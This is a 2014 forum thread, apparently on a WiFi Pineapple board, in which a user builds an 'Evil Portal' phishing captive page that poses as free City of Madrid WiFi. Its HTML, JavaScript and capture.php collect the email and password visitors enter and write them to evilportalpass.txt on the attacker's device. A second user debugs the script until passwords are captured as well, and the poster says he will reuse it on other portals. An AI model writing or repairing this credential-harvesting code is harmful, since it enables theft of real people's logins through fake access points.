daniboy92 Posted September 3, 2014 Share Posted September 3, 2014 Hi, I have problems with a html web. I want a html for summit a loggin information with Evil Portal infusion. Now this html can redirect normally but it doesn't save email and password. I think i'm missing something in this code because i don't have many knowledge about html programming... This is my html code: <html> <head> <title>$gatewayname Entry</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-cache"> <script type="text/javascript"> function ajaxRequest() { if (window.XMLHttpRequest) { return new XMLHttpRequest(); } else if (window.ActiveXObject) { return new ActiveXObject("Microsoft.XMLHTTP"); } else { return false; } } function sendInfo() { var xmlhttp = new ajaxRequest(); var emailvalue=encodeURIComponent(document.getElementById("email").value); var redirectvalue=encodeURIComponent(document.getElementById("redirect").value); if (emailvalue != null && emailvalue != "") { var parameters="email="+emailvalue+"&redirect="+redirectvalue; xmlhttp.open("POST", "http://172.16.42.1:80/capture.php", true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(parameters); document.getElementById("results").innerHTML="¡Gracias!"; window.location = document.getElementById("redirect").value; } else { document.getElementById("results").innerHTML="Por favor, ingrese su email y su contraseña."; } } function sendInfo2() { var xmlhttp = new ajaxRequest(); var passwordvalue=encodeURIComponent(document.getElementById("password").value); var redirectvalue=encodeURIComponent(document.getElementById("redirect").value); if (passwordvalue != null && passwordvalue != "") { var parameters="password="+passwordvalue+"&redirect="+redirectvalue; xmlhttp.open("POST", "http://172.16.42.1:80/capture", true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(parameters); document.getElementById("results").innerHTML="¡Gracias!"; window.location = document.getElementById("redirect").value; } else { document.getElementById("results").innerHTML="Por favor, ingrese su email y su contraseña."; } } </script> </head> <body> <center> <h2>$gatewayname</h2> <font size="1"><i>Ofrecido para usted por la Ciudad de Madrid</i></font> <br /> <br /> <p><font size="2">Para hacer uso del servicio necesita suscribirse con un email y una contraseña.</font></p> <div id="results"></div> <form id="emailform" method="POST" action="http://172.16.42.1:80/capture.php"> <table> <tr> <td><label>Email</label></td> <td><input type="text" id="email" name="email" placeholder="Ingrese su email" required /> <td><label>Contraseña</label></td> <td><input type="text" id="password" name="password" placeholder="Ingrese su contraseña" required /> </tr> </table> <input type="hidden" id="redirect" name="redirect" value="$authtarget" /> <button type="button" onclick="sendInfo();return false;">Ingresar</button> </form> <p><font size="1"><i>Su información no será compartida con terceras partes.</i></font></p> <p><font size="1"><i>Conectándose y haciendo uso de esta red está aceptando los <a href="#">términos del servicio.</a></i></p> <img src="images/wifi.png" width="71" height="49" border="0"> </center> <iframe style="display:none;" src="get"></iframe> </body> </html> this is my capture.php: <?php $email = $_POST['email']; $password = $_POST['password']; $redirect = $_POST['redirect']; $file = fopen("evilportalpass.txt", "a"); fwrite($file, $email . " " . $password . "\n"); fclose($file); echo 'Gracias por elegir $gatewayname <meta http-equiv="refresh" content="2; url=' . $redirect . '" />'; ?> The location for this file is in /www folder. I don't know if its's a code problem or just a location problem from my capture.php. Hope someone can help me. Quote Link to comment Share on other sites More sharing options...
newbi3 Posted September 3, 2014 Share Posted September 3, 2014 Couple things: action="http://172.16.42.1:80/capture.php"> You do not need :80 as 80 is the default port for HTTP traffic. you can just have http://172.16.42.1/capture.php Also you need to concat your strings together: echo 'Gracias por elegir ' . $gatewayname . ' <meta http-equiv="refresh" content="2; url=' . $redirect . '" />'; And you never initialized $gatewayname. Its value is always null Quote Link to comment Share on other sites More sharing options...
daniboy92 Posted September 3, 2014 Author Share Posted September 3, 2014 (edited) Thanks man. Now this two are fixing... And what about this script? <script type="text/javascript"> function ajaxRequest() { if (window.XMLHttpRequest) { return new XMLHttpRequest(); } else if (window.ActiveXObject) { return new ActiveXObject("Microsoft.XMLHTTP"); } else { return false; } } function sendInfo() { var xmlhttp = new ajaxRequest(); var emailvalue=encodeURIComponent(document.getElementById("email").value); var redirectvalue=encodeURIComponent(document.getElementById("redirect").value); if (emailvalue != null && emailvalue != "") { var parameters="email="+emailvalue+"&redirect="+redirectvalue; xmlhttp.open("POST", "http://172.16.42.1/capture.php", true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(parameters); document.getElementById("results").innerHTML="¡Gracias!"; window.location = document.getElementById("redirect").value; } else { document.getElementById("results").innerHTML="Por favor, ingrese su email y su contraseña."; } } function sendInfo2() { var xmlhttp = new ajaxRequest(); var passwordvalue=encodeURIComponent(document.getElementById("password").value); var redirectvalue=encodeURIComponent(document.getElementById("redirect").value); if (passwordvalue != null && passwordvalue != "") { var parameters="password="+passwordvalue+"&redirect="+redirectvalue; xmlhttp.open("POST", "http://172.16.42.1/capture", true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(parameters); document.getElementById("results").innerHTML="¡Gracias!"; window.location = document.getElementById("redirect").value; } else { document.getElementById("results").innerHTML="Por favor, ingrese su email y su contraseña."; } } </script> I don't know if i am sending and collecting fine the information from that two fields "email" "password. This is how my web looks: Edited September 3, 2014 by daniboy92 Quote Link to comment Share on other sites More sharing options...
newbi3 Posted September 3, 2014 Share Posted September 3, 2014 I do not have a pineapple to test it on at the moment however it looks fine. If you are having issues open up your developers console on your web browser and see what your javascript errors are Quote Link to comment Share on other sites More sharing options...
daniboy92 Posted September 3, 2014 Author Share Posted September 3, 2014 (edited) I'm a little more near from my goal... With your modifications i get a email and created the file perfectly!! The only thing i need it's to make this html send the password fields and register in the same txt.... Because the password information it's not sending... I don't know why. So... there is something wrong in the part of sending password information. Edited September 3, 2014 by daniboy92 Quote Link to comment Share on other sites More sharing options...
newbi3 Posted September 3, 2014 Share Posted September 3, 2014 function sendInfo() { var xmlhttp = new ajaxRequest(); var emailvalue=encodeURIComponent(document.getElementById("email").value); var redirectvalue=encodeURIComponent(document.getElementById("redirect").value); var passwordvalue=encodeURIComponent(document.getElementById("password").value); if (emailvalue != null && emailvalue != "") { var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue; xmlhttp.open("POST", "http://172.16.42.1:80/capture.php", true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(parameters); document.getElementById("results").innerHTML="¡Gracias!"; window.location = document.getElementById("redirect").value; } else { document.getElementById("results").innerHTML="Por favor, ingrese su email y su contraseña."; } } Replace your sendInfo() function with mine Quote Link to comment Share on other sites More sharing options...
daniboy92 Posted September 3, 2014 Author Share Posted September 3, 2014 Yes! That was what all i need! Thanks man! Now this code will help me for another captive portals! Quote Link to comment Share on other sites More sharing options...
newbi3 Posted September 3, 2014 Share Posted September 3, 2014 Awesome glad it works for you! Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.